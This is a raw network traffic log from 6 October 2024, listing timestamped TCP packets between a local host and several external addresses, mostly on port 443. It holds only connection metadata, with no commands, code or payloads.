Oct 6, 2024 22:33:25.457662106 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.457668066 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.459827900 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.459866047 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.459898949 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.459949017 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.462577105 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:25.468024015 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.468053102 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.468211889 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.468362093 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.468374968 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.472523928 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:25.519403934 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:25.546084881 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.546760082 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.546823025 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.547188997 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.547204018 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.555581093 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.555643082 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.555690050 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.555705070 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.555759907 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.555838108 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.555877924 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.555877924 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.555888891 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.555896044 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.558271885 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.558285952 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.558422089 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.558537006 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.558552027 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.604763031 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.605138063 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.605164051 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.605592966 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.605597973 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.652396917 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.652580023 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.652682066 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.657607079 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.657671928 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.657711029 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.657728910 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.660382032 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.660490990 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.661583900 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.661725998 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.661763906 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.704066038 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.704309940 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.704389095 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.704467058 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.704467058 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.704518080 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.704554081 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.707170963 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.707204103 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.707433939 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.707551003 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:25.707581997 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:25.917401075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:25.917481899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:25.937474966 CEST	49859	80	192.168.2.4	45.132.206.251
Oct 6, 2024 22:33:25.942322016 CEST	80	49859	45.132.206.251	192.168.2.4
Oct 6, 2024 22:33:25.942399979 CEST	49859	80	192.168.2.4	45.132.206.251
Oct 6, 2024 22:33:25.942544937 CEST	49859	80	192.168.2.4	45.132.206.251
Oct 6, 2024 22:33:25.942567110 CEST	49859	80	192.168.2.4	45.132.206.251
Oct 6, 2024 22:33:25.943707943 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:25.943732023 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:25.943790913 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:25.943804979 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:25.943804979 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:25.943836927 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:25.943862915 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:25.943876982 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:25.943895102 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:25.943895102 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:25.943913937 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:25.944020987 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:25.947350025 CEST	80	49859	45.132.206.251	192.168.2.4
Oct 6, 2024 22:33:25.947447062 CEST	80	49859	45.132.206.251	192.168.2.4
Oct 6, 2024 22:33:25.947495937 CEST	80	49859	45.132.206.251	192.168.2.4
Oct 6, 2024 22:33:25.947556019 CEST	80	49859	45.132.206.251	192.168.2.4
Oct 6, 2024 22:33:25.947565079 CEST	80	49859	45.132.206.251	192.168.2.4
Oct 6, 2024 22:33:25.947575092 CEST	80	49859	45.132.206.251	192.168.2.4
Oct 6, 2024 22:33:26.046452045 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:26.046472073 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:26.046698093 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:26.046706915 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:26.046909094 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:26.051868916 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:26.051963091 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:26.052011967 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:26.052063942 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:26.053005934 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:26.053024054 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:26.053046942 CEST	49850	443	192.168.2.4	104.102.49.254
Oct 6, 2024 22:33:26.053050995 CEST	443	49850	104.102.49.254	192.168.2.4
Oct 6, 2024 22:33:26.065629005 CEST	49860	443	192.168.2.4	172.67.206.204
Oct 6, 2024 22:33:26.065710068 CEST	443	49860	172.67.206.204	192.168.2.4
Oct 6, 2024 22:33:26.065783978 CEST	49860	443	192.168.2.4	172.67.206.204
Oct 6, 2024 22:33:26.066106081 CEST	49860	443	192.168.2.4	172.67.206.204
Oct 6, 2024 22:33:26.066138983 CEST	443	49860	172.67.206.204	192.168.2.4
Oct 6, 2024 22:33:26.076823950 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.077296019 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.077323914 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.077778101 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.077786922 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.122802973 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.123306990 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.123373985 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.123730898 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.123745918 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.175122023 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.175339937 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.175478935 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.175540924 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.175565004 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.175578117 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.175585985 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.178803921 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.178824902 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.178920984 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.179142952 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.179160118 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.222620010 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.222711086 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.222809076 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.222922087 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.223058939 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.223104954 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.223134995 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.223151922 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.225847960 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.225893021 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.225966930 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.226126909 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.226144075 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.233618975 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.234060049 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.234071970 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.234692097 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.234695911 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.290738106 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.294859886 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.294879913 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.295419931 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.295427084 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.335434914 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.335711956 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.335840940 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.342660904 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.358620882 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.358634949 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.358680964 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.358690023 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.361233950 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.361263037 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.361828089 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.361833096 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.367047071 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.367110014 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.367224932 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.367383003 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.367424011 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.389121056 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.389286995 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.389379978 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.389552116 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.389576912 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.389590025 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.389599085 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.392273903 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.392317057 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.392482996 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.392698050 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.392715931 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.456995964 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.457056999 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.457119942 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.457294941 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.457304001 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.457320929 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.457326889 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.459897995 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.459944010 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.460035086 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.460201025 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.460217953 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.545638084 CEST	443	49860	172.67.206.204	192.168.2.4
Oct 6, 2024 22:33:26.545741081 CEST	49860	443	192.168.2.4	172.67.206.204
Oct 6, 2024 22:33:26.548217058 CEST	49860	443	192.168.2.4	172.67.206.204
Oct 6, 2024 22:33:26.548226118 CEST	443	49860	172.67.206.204	192.168.2.4
Oct 6, 2024 22:33:26.548459053 CEST	443	49860	172.67.206.204	192.168.2.4
Oct 6, 2024 22:33:26.550195932 CEST	49860	443	192.168.2.4	172.67.206.204
Oct 6, 2024 22:33:26.550228119 CEST	49860	443	192.168.2.4	172.67.206.204
Oct 6, 2024 22:33:26.550270081 CEST	443	49860	172.67.206.204	192.168.2.4
Oct 6, 2024 22:33:26.833883047 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.834702015 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.834764957 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.835401058 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.835414886 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.894313097 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.894870043 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.894903898 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.895528078 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.895586014 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.933016062 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.933095932 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.933192015 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.933238983 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.933306932 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.933397055 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.933442116 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.933470964 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.933502913 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.937716007 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.937761068 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.937849998 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.938051939 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.938071012 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.984963894 CEST	443	49860	172.67.206.204	192.168.2.4
Oct 6, 2024 22:33:26.985074043 CEST	443	49860	172.67.206.204	192.168.2.4
Oct 6, 2024 22:33:26.985126019 CEST	49860	443	192.168.2.4	172.67.206.204
Oct 6, 2024 22:33:26.985542059 CEST	49860	443	192.168.2.4	172.67.206.204
Oct 6, 2024 22:33:26.985563993 CEST	443	49860	172.67.206.204	192.168.2.4
Oct 6, 2024 22:33:26.985579967 CEST	49860	443	192.168.2.4	172.67.206.204
Oct 6, 2024 22:33:26.985588074 CEST	443	49860	172.67.206.204	192.168.2.4
Oct 6, 2024 22:33:26.995944977 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.996280909 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.996347904 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.996561050 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.996568918 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:26.996592999 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:26.996613026 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.003324986 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.003359079 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.003434896 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.003631115 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.003645897 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.008040905 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.008605003 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.008645058 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.009289026 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.009335995 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.043303967 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.050905943 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.050924063 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.051717043 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.051723957 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.092739105 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.093230963 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.093245983 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.093843937 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.093851089 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.104413986 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.104558945 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.104625940 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.104763985 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.104804039 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.104831934 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.104846954 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.108555079 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.108609915 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.108675003 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.108952999 CEST	49868	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.108969927 CEST	443	49868	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.148226976 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.148380995 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.148467064 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.148679018 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.148693085 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.148706913 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.148713112 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.151855946 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.151886940 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.152030945 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.152122974 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.152134895 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.193933964 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.194082975 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.194113970 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.194160938 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.194211006 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.194314957 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.194325924 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.194336891 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.194340944 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.197122097 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.197140932 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.197223902 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.197431087 CEST	49870	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.197443008 CEST	443	49870	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.580166101 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.580904961 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.580924988 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.581474066 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.581480026 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.645553112 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.646007061 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.646024942 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.646591902 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.646598101 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.679208994 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.679373980 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.679442883 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.679522038 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.679533958 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.679543018 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.679548025 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.683398962 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.683438063 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.683530092 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.684437037 CEST	49871	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.684453011 CEST	443	49871	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.743463039 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.743645906 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.743714094 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.751198053 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.751218081 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.751231909 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.751240969 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.755124092 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.755177975 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.755253077 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.755470991 CEST	49872	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.755491972 CEST	443	49872	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.783346891 CEST	443	49869	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:27.783874989 CEST	49869	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:27.783909082 CEST	443	49869	13.107.246.45	192.168.2.4
